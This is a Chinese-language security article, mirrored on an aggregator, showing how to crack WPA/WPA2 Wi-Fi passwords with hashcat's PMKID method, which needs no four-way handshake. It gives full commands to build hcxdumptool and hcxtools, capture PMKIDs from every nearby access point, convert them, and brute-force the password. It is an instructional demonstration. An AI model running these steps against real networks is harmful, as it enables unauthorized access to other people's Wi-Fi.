24

技术分享 | 无需四次握手包破解WPA&WPA2密码

 5 years ago
source link: http://www.freebuf.com/articles/wireless/179953.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者:Shad0wpf_,本文属FreeBuf原创奖励计划,未经许可禁止转载

知名密码破解软件Hashcat在2018年8月2日发布了 4.2版本 ,这次版本更新的主要内容是增加了4个新的密码算法支持。 

a2UF3qQ.jpg!web

其中的WPA-PMKID-PBKDF2算法,是为了支持一种新的WAP预共享密钥密码破解方法。

New attack on WPA/WPA2 using PMKID

根据Hashcat官方 论坛文章 介绍,作者在研究WPA3安全标准时,意外发现的使用PMKID破解WPA预共享密钥的方法,与现有的其它破解方法不同,该方法不再需要抓取完整的EAPOL四次握手包,只需要一个EAPOL帧中的RSN IE(Robust Security Network Information Element)即可。目前,作者尚不清楚该攻击方法对哪些路由器生效,但仍认为可以有效的攻击所有启用了漫游功能的802.11i/p/q/r网络(大部分较新的路由器都支持)。

该方法注意的优势如下:

1.攻击者直接与AP通信,无需普通用户参与(即“无客户端”攻击);

2.无需等待普通用户与AP完成四次握手;

3.无需重传EAPOL帧(重传可能导致无法破解);

4.无需普通用户发送无效密码;

5.不再会因为攻击者离AP或普通用户太远丢失EAPOL帧;

6.无需修复nonce和replaycounter值;

7.无需特定的输出格式,最终数据以16进制编码字符串呈现。

相关工具

该攻击方法需要用到以下几个工具:

1. hcxdumptool v4.2.0 or higher

2.用于抓包并保存为Hashcat破解可用的格式;

3.支持的无线网卡:

USB ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter

USB ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter

USB ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter

USB ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter

USB ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter

hcxtools v4.2.0 or higher

hashcat v4.2.0 or higher

实战演示

本次演示环境:

Kali 2018.3(Linux内核版本4.17) + Tenda W311M无线网卡(MT7601U)

编译安装相关工具

hcxdumptool

下载源码编译(使用root运行,Linux内核版本>=4.14)

https://github.com/ZerBea/hcxdumptool/archive/4.2.0.tar.gz

tarf -xvf 4.2.0.tar.gz
cd hcxdumptool-4.2.0
make && make install
# 编译完成后的工具均安装在/usr/local/bin/目录下

hcxtools

# 安装依赖软件包,解决编译报错
apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
#下载源码编译(使用root运行)
wget https://github.com/ZerBea/hcxtools/archive/4.2.0.tar.gz
tar -xvf 4.2.0.tar.gz
cd hcxtools-4.2.0 
make && make install
# 编译完成后的工具均安装在/usr/local/bin/目录下。

Hashcat

官方提供已编译好的二进制文件,包含Windows及Linux版本,下载解压即可。

# 下载Hashcat 4.2
wget https://hashcat.net/files/hashcat-4.2.0.7z
# 解压
7z x hashcat-4.2.0.7z

PMKID介绍

RSN IE(Robust Security Network Information Element)是8.2.11管理帧中的一个可选字段,其中的一个信息元素就是PMKID。

fuUFriB.jpg!web PMKID使用HMAC-SHA1算法计算得到,密钥为PMK,数据部分由固定的字符串标签“PMK Name”、AP的MAC地址及基站的MAC地址拼接组成,计算公式如下:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

因为PMK和普通的四次握手中的相同,因此PMKID是一个理想的攻击向量,破解所需的所有信息都可以从接收到的AP第一个EAPOL帧中得到。

抓取PMKID

hcxdumptool可以从AP请求PMKID并保存接收到的数据帧到文件中(pcapng格式)。

# 使用网卡wlan0,开启Monitor模式,
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up
# 查看可用的无线网卡
hcxdumptool -I
# 抓取管理帧和EAP/EAPOL帧,保存文件为pmkid.pacpng,开启状态显示
# 未添加AP过滤时,攻击端将对所有扫描到的AP发送协商请求。
hcxdumptool -o pmkid.pacpng -i wlan0 --enable_status

iQfAvqy.jpg!web

如果AP接受到攻击端的协商请求包并支持发送PMKID,过一会儿将看到“FOUND PMKID”的提示。

qUJruaB.jpg!web 由于Wifi信道干扰等原因,可能需要过一段时间才能接收到PMKID,在你放弃前,建议耐心的等上10分钟。

数据格式转换

抓取的PMKID后,使用hcxpcaptool工具转换成Hashcat支持的格式。

$ ./hcxpcaptool -z pmkid.16800 pmkid.pcapng

vaqM3mE.jpg!web

转换后的文件内容:

AfQzAj6.jpg!web 以*符号分割的4列内容分别是:

1.PMKID

2.MAC AP

3.MAC Station

4.ESSID

通过MAC AP,可以查找到对应的WIFI名称。

6r6ZFfA.jpg!web

密码破解

接下来,使用Hashcat破解抓取到的PMKID内容。

# 指定hash模式为16800,使用暴力破解方式,设置掩码为8个数字
hashcat -m 16800 pmkid.16800 -a 3 -w 3 '?d?d?d?d?d?d?d?d'

z6vmUbn.jpg!web

顺利的话,你将看到这样的结果,密码破解成功:

v2auY32.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK